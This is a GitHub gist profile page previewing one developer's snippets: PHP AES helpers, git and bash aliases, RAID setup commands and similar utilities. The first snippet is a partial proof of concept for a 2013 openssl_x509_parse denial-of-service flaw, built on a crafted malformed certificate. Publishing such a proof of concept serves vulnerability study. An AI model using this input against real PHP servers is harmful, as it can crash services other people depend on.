Skip to content

Instantly share code, notes, and snippets.

View jeffreyroberts's full-sized avatar

Jeffrey L. Roberts jeffreyroberts

  • PHP DevOps
  • Miami, Florida
View GitHub Profile
@jeffreyroberts
jeffreyroberts / php_dos_poc_openssl_x509_parser.php
Last active December 31, 2015 15:28
This is a POC for the openssl_x509_parse DOS attack released on Dec 13th, 2013 http://www.exploit-db.com/exploits/30395/
<?php
$cert = openssl_x509_parse("-----BEGIN CERTIFICATE-----
MIIEpDCCA4ygAwIBAgIJAJzu8r6u6eBcMA0GCSqGSIb3DQEBBQUAMIHDMQswCQYD
VQQGEwJERTEcMBoGA1UECAwTTm9yZHJoZWluLVdlc3RmYWxlbjEQMA4GA1UEBwwH
S8ODwrZsbjEUMBIGA1UECgwLU2VrdGlvbkVpbnMxHzAdBgNVBAsMFk1hbGljaW91
cyBDZXJ0IFNlY3Rpb24xITAfBgNVBAMMGG1hbGljaW91cy5zZWt0aW9uZWlucy5k
ZTEqMCgGCSqGSIb3DQEJARYbc3RlZmFuLmVzc2VyQHNla3Rpb25laW5zLmRlMHUY
ZDE5NzAwMTAxMDAwMDAwWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@jeffreyroberts
jeffreyroberts / aes_encrypt_decrypt.php
Last active December 31, 2015 10:39
aes encrypt and decrypt
<?php
function aes_decrypt($code, $key, $iv) {
$mode = MCRYPT_MODE_CBC;
$enc = MCRYPT_RIJNDAEL_128;
return mcrypt_decrypt($enc, $key, $code, $mode, $iv);
}
function aes_encrypt($code, $key, $iv) {
$mode = MCRYPT_MODE_CBC;
$enc = MCRYPT_RIJNDAEL_128;
@jeffreyroberts
jeffreyroberts / sysinfo.pl
Last active March 8, 2024 13:48
Eggdrop Sysinfo TCL
#!/usr/bin/perl -w
#
# Copyright (c) 2002-2005 David Rudie
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
@jeffreyroberts
jeffreyroberts / osx_mono_env_vars.sh
Last active December 27, 2015 21:39
mkbundle on os x
#!/bin/bash
export PKG_CONFIG_PATH=$PKG_CONFIG_PATH:/usr/lib/pkgconfig:/Library/Frameworks/Mono.framework/Versions/3.2.3/lib/pkgconfig
@jeffreyroberts
jeffreyroberts / str_to_hex.php
Created November 3, 2013 06:31
PHP String to Hex, Javascript Unescape
<?php
// Javascript/HTML hex encode
function encode($input)
{
$temp = '';
$length = strlen($input);
for($i = 0; $i < $length; $i++)
$temp .= '%' . bin2hex($input[$i]);
return $temp;
}
# Colors
DARK_PURPLE="\[\033[1;34m\]"
GREEN="\[\033[0;32m\]"
GREY="\[\033[1;30m\]"
NORMAL="\[\033[0m\]"
RED="\[\033[0;31m\]"
YELLOW="\[\033[0;33m\]"
# Git shortcuts
alias gci='git commit'
@jeffreyroberts
jeffreyroberts / git_list_files_from_commit.sh
Created October 30, 2013 18:02
list files modified from a commit
#!/bin/bash
# http://stackoverflow.com/questions/424071/list-all-the-files-for-a-commit-in-git
git diff-tree --no-commit-id --name-only -r $1
@jeffreyroberts
jeffreyroberts / raid_file_system_create_format_assemble.sh
Last active December 26, 2015 04:29
A collection of linux raid/file system command snippets
# How to assemble raid device
mdadm --create --verbose /dev/md128 --level=1 --raid-devices=2 /dev/xvdm /dev/xvdn
# Make file system
mkfs -t xfs /dev/md128
# How to re-assemble
mdadm --assemble --verbose /dev/md128 /dev/xvdm /dev/xvdn
# Get UUID
#!/bin/bash
find $1 -size $2c -delete
@jeffreyroberts
jeffreyroberts / git_submodule_recursive_checkout.sh
Created September 24, 2013 06:11
Recursively checkout branch for submodules
git submodule foreach --recursive git checkout master